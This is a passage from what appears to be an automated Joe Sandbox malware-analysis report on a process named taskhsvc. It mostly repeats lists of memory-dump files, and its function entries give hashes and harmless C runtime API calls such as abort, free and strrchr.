                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_failexitfree
                                                                                                                          • String ID: 8
                                                                                                                          • API String ID: 780109331-3897458245
                                                                                                                          • Opcode ID: 7319fbb52e41554cd1d5d496ef3a9ef6291f52eb27372c4779059291127d2f73
                                                                                                                          • Instruction ID: 4a0d4a55da9bc40ea572ed174c7f0a4c514274609d2ad1a39006e96cac1594b3
                                                                                                                          • Opcode Fuzzy Hash: 7319fbb52e41554cd1d5d496ef3a9ef6291f52eb27372c4779059291127d2f73
                                                                                                                          • Instruction Fuzzy Hash: 7931B6B49083559FDB00EFAAD4457AEBBF0FF44314F108869E494AB380D7789985DF92
                                                                                                                          Function 00D5C901 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 80COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00D5CC7F), ref: 00D5CA49
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D36586
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D3659C
                                                                                                                            • Part of subcall function 00D36562: __stack_chk_fail.LIBSSP-0 ref: 00D36601
                                                                                                                            • Part of subcall function 00D39764: __stack_chk_fail.LIBSSP-0 ref: 00D39857
                                                                                                                          • abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00D5CC7F), ref: 00D5C95A
                                                                                                                            • Part of subcall function 00D5C797: abort.MSVCRT ref: 00D5C7F0
                                                                                                                            • Part of subcall function 00D5C797: __stack_chk_fail.LIBSSP-0 ref: 00D5C8C7
                                                                                                                            • Part of subcall function 00D5C8CE: __stack_chk_fail.LIBSSP-0 ref: 00D5C8FA
                                                                                                                            • Part of subcall function 00D33842: __stack_chk_fail.LIBSSP-0 ref: 00D338B7
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$abortstrrchr
                                                                                                                          • String ID: TC$XN
                                                                                                                          • API String ID: 2422377151-3861905735
                                                                                                                          • Opcode ID: d6dc4952571f3a8db0985649ef7783e9a3ed70355e383bd0eb75d3b32b9e3780
                                                                                                                          • Instruction ID: 26bd4600816eea03faeb59c6b5c522af5b09863526cd461067c4f9f70a532e7d
                                                                                                                          • Opcode Fuzzy Hash: d6dc4952571f3a8db0985649ef7783e9a3ed70355e383bd0eb75d3b32b9e3780
                                                                                                                          • Instruction Fuzzy Hash: B731C4B09083099FDF00EF69C54569EBBF0FF48755F009919E898AB281D778D849CF62
                                                                                                                          Function 00D39C41 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • abort.MSVCRT ref: 00D39C9A
                                                                                                                          • memset.MSVCRT ref: 00D39D32
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00D39D4C
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D36586
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D3659C
                                                                                                                            • Part of subcall function 00D36562: __stack_chk_fail.LIBSSP-0 ref: 00D36601
                                                                                                                            • Part of subcall function 00D39764: __stack_chk_fail.LIBSSP-0 ref: 00D39857
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$strrchr$abortmemset
                                                                                                                          • String ID: M
                                                                                                                          • API String ID: 4235535680-3664761504
                                                                                                                          • Opcode ID: 302d83985c6858a9a57d46a01e635e5950a718ba7d8f7131085a155b443d918d
                                                                                                                          • Instruction ID: de10c6d710b06a6267bf27b962784eb06b5b7c7273747be8c77a067ee90e1ccb
                                                                                                                          • Opcode Fuzzy Hash: 302d83985c6858a9a57d46a01e635e5950a718ba7d8f7131085a155b443d918d
                                                                                                                          • Instruction Fuzzy Hash: CB31A2B4A04219DFCB00EFA9D4859AEF7F0FF48310F159919E868AB360D778E941CB65
                                                                                                                          Function 00BFCA37 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 69COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                            • Part of subcall function 00D33842: __stack_chk_fail.LIBSSP-0 ref: 00D338B7
                                                                                                                            • Part of subcall function 00C96C8C: abort.MSVCRT ref: 00C96CDC
                                                                                                                            • Part of subcall function 00C96C8C: __stack_chk_fail.LIBSSP-0 ref: 00C96D00
                                                                                                                            • Part of subcall function 00C96D83: abort.MSVCRT ref: 00C96DD3
                                                                                                                            • Part of subcall function 00C96D83: __stack_chk_fail.LIBSSP-0 ref: 00C96DF7
                                                                                                                            • Part of subcall function 00D1ED64: abort.MSVCRT ref: 00D1EDC3
                                                                                                                            • Part of subcall function 00D1ED64: abort.MSVCRT ref: 00D1EE06
                                                                                                                            • Part of subcall function 00D1ED64: free.MSVCRT ref: 00D1EEC9
                                                                                                                          • free.MSVCRT ref: 00BFCB5D
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00BFCB92
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_failabort$free
                                                                                                                          • String ID: 0.$0.
                                                                                                                          • API String ID: 1721009914-2957025458
                                                                                                                          • Opcode ID: 7312f429e775d2344bdd8f30c4c9abecc4d4a7b33964342a760dc4ef9940ba22
                                                                                                                          • Instruction ID: 9c0f84636733b2f56f3b17ce27c98e64b18b31ca7d07232eaa46a9cdcf27cf1e
                                                                                                                          • Opcode Fuzzy Hash: 7312f429e775d2344bdd8f30c4c9abecc4d4a7b33964342a760dc4ef9940ba22
                                                                                                                          • Instruction Fuzzy Hash: 8E31B6B4A0470ACFCB00EFA5C189AAEBBF0FF48304F118859E494A7351D7749984DFA2
                                                                                                                          Function 00C51A28 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 48COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
